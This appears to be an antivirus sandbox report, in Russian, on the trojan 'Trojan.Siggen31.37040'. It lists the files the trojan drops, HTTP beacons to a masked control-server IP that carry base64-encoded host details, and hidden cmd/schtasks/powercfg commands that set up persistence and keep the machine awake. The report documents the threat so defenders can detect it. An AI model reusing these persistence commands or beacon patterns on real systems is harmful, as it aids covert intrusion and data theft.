Trojan.Siggen31.37040

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\microsoft\windows\private\apicom

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\adsdsk.nfo
%TEMP%\2342142796308.xml
%TEMP%\19224.tmp
%TEMP%\37605.tmp
<SYSTEM32>\microsoft\protect\s-1-5-20\c1221c56-3b96-4d9e-bdd2-5af65df678ca
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
%TEMP%\38712.tmp
%TEMP%\33969.tmp

Удаляет следующие файлы

%TEMP%\19224.tmp
%TEMP%\37605.tmp
%TEMP%\38712.tmp
%TEMP%\33969.tmp

Сетевая активность

Подключается к

'89.##.131.71':80
'ip##fo.io':80

TCP

Запросы HTTP GET

http://89.##.131.71/
http://89.##.131.71/NDMxMTQxMTYK
http://89.##.131.71/NDMxMTQxMTYK,2,0,1ODZFOUIxREEtRDAyQy00.jJEL_g1._ct.UNDOUI1.kYxQUQ1Cg--,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1Y2NmYW95cHF4Cg--,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1_Wljcm9zb2Z0IFdpbmRvd3.gNyBFbnRlcnByaXNlIAo-Ni4xLjc2.DEKNjQK,2
http://ip##fo.io/json
http://89.##.131.71/NDMxMTQxMTYK,2,0,1ewogICJpcCI6ICIxODUuO_.uNDAuNjYiLAogICJob3N0bmFtZSI6ICJwdHIt._g1LjkzLjQwLjY2LmludGVsLXBvcnQucnUiLAogICJjaXR5IjogIlNhaW50IFBldGVyc2J1cmciLAogICJyZWdpb24iOiA...
http://89.##.131.71/NDMxMTQxMTYK,1,0,1_G9jYWwgQXJlYSBDb25uZWN0aW9uCQ--SW50ZWwoUikgUFJPLzEw.DAg_VQgRGVza3RvcCBBZGFwdGVyCQ--O_A6Q_A6ODI6.0Q6O_I6NkUJQ29ubmVjdGVkCQ--ZGhjcAk-._Au.C4x._Au.Q--CQ--._A...
http://89.##.131.71/NDMxMTQxMTYK,1,0,1QzoJZml4ZWQJ_lRGUwk-V2luZG93cwk-CQ--._gu.DUJ.jI2LjA5CQ--.jQ0LjE0CQ--Ny4zOSUJfgo-RDoJZml4ZWQJ_lRGUwk-RGF0YQk-CQ--.C4x.Ak-.jQzLjc1CQ--.jQzLjg1CQ--.C4wNCUJCg-...
http://89.##.131.71/NDMxMTQxMTYK,1,0,1Y2NmYW95cHF4Cg--XFxjY2Zhb3lwcXgKY2NmYW95cHF4Cg--dXNlcgo-QzpcVXNlcnNcdXNlcgo-,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1JVV_RVJQUk9GSUxFJVxBcHBEYXRhXExvY2FsXFRlbXAK,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1QzpcV2luZG93cwo-,2
http://89.##.131.71/NDMxMTQxMTYK,2,0,1,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1,2
http://89.##.131.71/NDMxMTQxMTYK,1,0,1U1VDQ0V_UzogVGhlIHNjaGVkdWxlZCB0YXNrICJNaWNyb3NvZnRcV2luZG93c1xQcml2YXRlXGFwaWNvbSIgaGFzIHN1Y2Nlc3NmdWxseSBiZWVuIGNyZWF0ZWQuCg--,2
http://89.##.131.71/NDMxMTQxMTYK,1,-,3a2VlcGFsaXZl
http://89.##.131.71/NDMxMTQxMTYK,2,1,1,2SGliZXJuYXRpb24gZmFpbGVkIHdpdGggdGhlIGZvbGxvd2luZyBlcnJvcjogVGhlIHJlcXVlc3QgaX.gbm90IHN1cHBvcnRlZC4NCgpUaGUgZm9sbG93aW5nIGl0ZW1zIGFyZSBwcmV2ZW50aW5nIGhpY...

Другие

'34.##9.100.209':443

UDP

DNS ASK ip##fo.io

Другое

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ( schtasks /create /XML "%TEMP%\2342142796308.xml" /tn Microsoft\Windows\Private\apicom ) 1> "%TEMP%\19224.tmp" 2> "%TEMP%\32602.tmp" && echo 0 > "%TEMP%\37605.tmp" || echo 1 > "%TEMP%\37605... (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /XML "%TEMP%\2342142796308.xml" /tn Microsoft\Windows\Private\apicom
'<SYSTEM32>\cmd.exe' /c ( powercfg /change -hibernate-timeout-ac 0 & powercfg /change -hibernate-timeout-dc 0 & powercfg /change -disk-timeout-ac 0 & powercfg /change -disk-timeout-dc 0 & powercfg /change -standby-... (со скрытым окном)
'<SYSTEM32>\powercfg.exe' /change -hibernate-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /change -hibernate-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /change -disk-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /change -disk-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /change -standby-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /change -standby-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /hibernate off
'<SYSTEM32>\cmd.exe' /c ( schtasks /run /tn Microsoft\Windows\Private\apicom ) 1> "%TEMP%\13076.tmp" 2> "%TEMP%\30584.tmp" && echo 0 > "%TEMP%\31833.tmp" || echo 1 > "%TEMP%\31833.tmp" (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /run /tn Microsoft\Windows\Private\apicom
'<SYSTEM32>\rundll32.exe' kernel32,Sleep